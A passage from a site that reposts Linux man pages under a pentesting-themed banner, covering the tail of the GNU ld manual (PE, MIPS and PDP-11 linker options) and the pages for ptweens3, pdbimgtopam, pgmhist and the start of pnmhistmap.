Request the creation of a .note.gnu.build-id ELF note section or a .buildid COFF section. The contents of the note are unique bits identifying this linked file. style can be uuid to use 128 random bits, sha1 to use a 160-bit SHA1 hash on the normative parts of the output contents, md5 to use a 128-bit MD5 hash on the normative parts of the output contents, or 0xhexstring to use a chosen bit string specified as an even number of hexadecimal digits (- and : characters between digit pairs are ignored). If style is omitted, sha1 is used. The md5 and sha1 styles produces an identifier that is always the same in an identical output file, but will be unique among all nonidentical output files. It is not intended to be compared as a checksum for the file’s contents. A linked file may be changed later by other tools, but the build ID bit string identifying the original linked file does not change. Passing none for style disables the setting from any --build-id options earlier on the command line.

–package-metadata=JSON
Request the creation of a .note.package ELF note section. The contents of the note are in JSON format, as per the package metadata specification. For more information see: https://systemd.io/ELF_PACKAGE_METADATA/ If the JSON argument is missing/empty then this will disable the creation of the metadata note, if one had been enabled by an earlier occurrence of the –package-metadata option. If the linker has been built with libjansson, then the JSON string will be validated.

The i386 PE linker supports the -shared option, which causes the output to be a dynamically linked library (DLL) instead of a normal executable. You should name the output *.dll when you use this option. In addition, the linker fully supports the standard *.def files, which may be specified on the linker command line like an object file (in fact, it should precede archives it exports symbols from, to ensure that they get linked in, just like a normal object file).

In addition to the options common to all targets, the i386 PE linker support additional command-line options that are specific to the i386 PE target. Options that take values may be separated from their values by either a space or an equals sign.

–add-stdcall-alias
If given, symbols with a stdcall suffix (@nn) will be exported as-is and also with the suffix stripped. [This option is specific to the i386 PE targeted port of the linker]

–base-file file
Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1136 - Linux cli command ptweens3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptweens3 and provides detailed information about the command ptweens3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptweens3.

NAME 🖥️ ptweens3 🖥️

Python 3 Pyramid command

DESCRIPTION

usage: ptweens3 [-h] [config_uri] [config_vars …]

Print all implicit and explicit tween objects used by a Pyramid application. The handler output includes whether the system is using an explicit tweens ordering (will be true when the “pyramid.tweens” deployment setting is used) or an implicit tweens ordering (will be true when the “pyramid.tweens” deployment setting is *not* used).

This command accepts one positional argument named “config_uri” which specifies the PasteDeploy config file to use for the interactive shell. The format is “inifile#name”. If the name is left off, “main” will be assumed. Example: “ptweens myapp.ini#main”.

positional arguments:

config_uri
The URI to the configuration file.

config_vars
Variables required by the config file. For example, `http_port=%(http_port)s` would expect `http_port=8080` to be passed here.

options:

-h, –help
show this help message and exit

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1137 - Linux cli command pdbimgtopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdbimgtopam and provides detailed information about the command pdbimgtopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdbimgtopam.

.

NAME 🖥️ pdbimgtopam 🖥️

convert a Palm Pilot Image Viewer PDB Image to a PAM image

SYNOPSIS

pdbimgtopam

[-notefile=filename] [-verbose]

[pdbimgfile]

DESCRIPTION

This program is part of Netpbm(1) .

pdbimgtopam reads a Palm Pilot Image Viewer image (and Image record in a PDB file) as input, from Standard Input or palmfile, and produces a PAM image as output.

If the Pilot image is monochrome, the PAM output has maxval 1. Otherwise, it has maxval 255. Note that Pilot images are always monochrome. The PAM image has tuple type GRAYSCALE.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pdbimgtopam recognizes the following command line options:

-verbose
Display various interesting information about the input file and process.

**-notefile=**filename
Write the image note (if any) to the specified file.

If you don’t specify this, pdbimgtopam ignores any image note.

SEE ALSO

pamtopdbimg(1) , pnmtopalm(1) , pam(1)

HISTORY

pdbimgtopam was new in Netpbm 10.52 (September 2010). It was modelled after Eric A. Howe’s imgvtopbm package, which dates back to September 1997.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pdbimgtopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1138 - Linux cli command pgmhist

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmhist and provides detailed information about the command pgmhist, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmhist.

.

NAME 🖥️ pgmhist 🖥️

print a histogram of the values in a PGM image

SYNOPSIS

pgmhist

[-median, -quartile, -decile]

[-forensic]

[-machine]

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmhist reads a PGM image as input and prints a histogram of the gray values or other gray value distribution metrics.

If you specify none of -median, -quartile, or -decile, pgmhist prints a complete histogram showing how many pixels of each possible gray value exist in the image. Along with each gray value, it tells you how many pixels are at lest as black as it and how many are at least as white.

-median, -quartile, and -decile options cause pgmhist instead to print the indicated quantiles. Each quantile is a gray value that actually appears in the image (as opposed to fractional values that are sometimes used for quantiles). The 3rd quartile is the least gray value for which at least 75% of the pixels are as dark or darker than it. The 4th quartile is the brightest gray value that appears in the image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmhist recognizes the following command line options:

You may specify at most one of -median, -quartile, and -decile. If none of these is specified pgmhist prints a histogram of gray values.

-median
This option causes pgmhist to print the median gray value.

This option was new in Netpbm 10.61 (December 2012).

-quartile
This option causes pgmhist to print the four quartile gray values.

This option was new in Netpbm 10.61 (December 2012).

-decile
This option causes pgmhist to print the ten decile gray values.

This option was new in Netpbm 10.61 (December 2012).

-forensic
With this option, pgmhist works on images that contain invalid gray values. Normally, like most Netpbm programs, pgmhist fails if it encounters a gray value greater than the maxval that the image declares. The presence of such a value means the image is invalid, so the pixels have no meaning. But with -forensic, pgmhist produces a histogram of the actual gray values without regard to maxval. It issues messages summarizing the invalid pixels if there are any.

One use for this is to diagnose the problem that caused the invalid Netpbm image to exist.

There is a small exception to the ability of pgmhist to process invalid pixels even with -forensic: it can never process a gray value greater than 65535. Note that in the rarely used Plain PGM format, it is possible for a number greater than that to appear where a gray value belongs.

This option was new in Netpbm 10.66 (March 2014). But Netpbm older than 10.66 does not properly reject invalid sample values, so the effect is very similar to -forensic.

-machine
This option causes pgmhist to print the information in a way easily digestible by a machine as opposed to a human.

For the quantiles, there is one line per quantile, in quantile order, and it consists of the gray value of the quantile in decimal with no leading zeroes.

For the full histogram output, it consists of one line per possible gray value (whether that value appears in the image or not), in order of the gray values. The line consists of two tokens separated by a space. The first is the gray value; the second is the number of pixels in the image that have that gray value. Both are decimal numbers without leading zeroes.

This option was new in Netpbm 10.61 (December 2012).

SEE ALSO

pnmnorm(1) , ppmhist(1) , pgm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmhist.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1139 - Linux cli command pnmhistmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmhistmap and provides detailed information about the command pnmhistmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmhistmap.

.

NAME 🖥️ pnmhistmap 🖥️

draw a histogram for a PGM or PPM file

SYNOPSIS

pnmhistmap

[-red] [-green] [-blue]

[-black] [-white]

[-max N]

[-lval] [-rval]

[-height] [-width]

[-dots]

[-verbose]

[pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmhistmap reads a PNM image as input and produces an image showing a histogram of the color (or gray) values in the input. A PGM input results in a PBM output. A PPM input results in a PPM output with three overlaid histograms: a red one for the red input, a green one for the green input, and a blue one for the blue input.

For example, from the following image produces the following histogram:

image

histogram from image

If the input is PBM, pnmhistmap produces an error message and no output image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmhistmap recognizes the following command line options:

-red
-green
-blue
Include the indicated color component in the output. If you specify none of these, pnmhistmap include all three.

These options are meaningless if the input is PGM.

These options were new in Netpbm 10.26 (January 2005). Before that, pnmhistmap always included all three color components.

-dots
Plot the histogram as dots. By default, pnmhistmap plots bars.

Example of dots:.B -dots example

This option was new in Netpbm 10.26 (January 2005). Before that, pnmhistmap always plotted bars.

-lval minpixval
-rval maxpixval
These options specify the range of intensity values to include. pnmhistmap ignores intensities less than minpixval and greater than maxpixval. So the left side of the histogram corresponds to minpixval and the right side corresponds to maxpixval.

By default, pnmhistmap plots the entire possible range: zero to the maxval.

These options were new in Netpbm 10.26 (January 2005). Before that, pnmhistmap always plotted from zero to the maxval.

-height
-width
These options specify the dimensions, in pixels of the histogram image.

The default height is 200 pixels.

The default width is one pixel for each plotted intensity value (so it’s controlled by the maxval of the image and the -lval and -rval options). The “count buckets” in the histogram are always one pixel wide. If you specify a width less than the number of plotted intensity values, a bucket represents more than one intensity value. If you specify a width greater that the number of plotted intensity values, some buckets represent no color (the count is zero).

This option was new in Netpbm 10.26 (January 2005). Before that, the dimensions were always what the default is today.

-black
Ignore the count of black pixels when scaling the histogram.

-white
Ignore the count of white pixels when scaling the histogram.

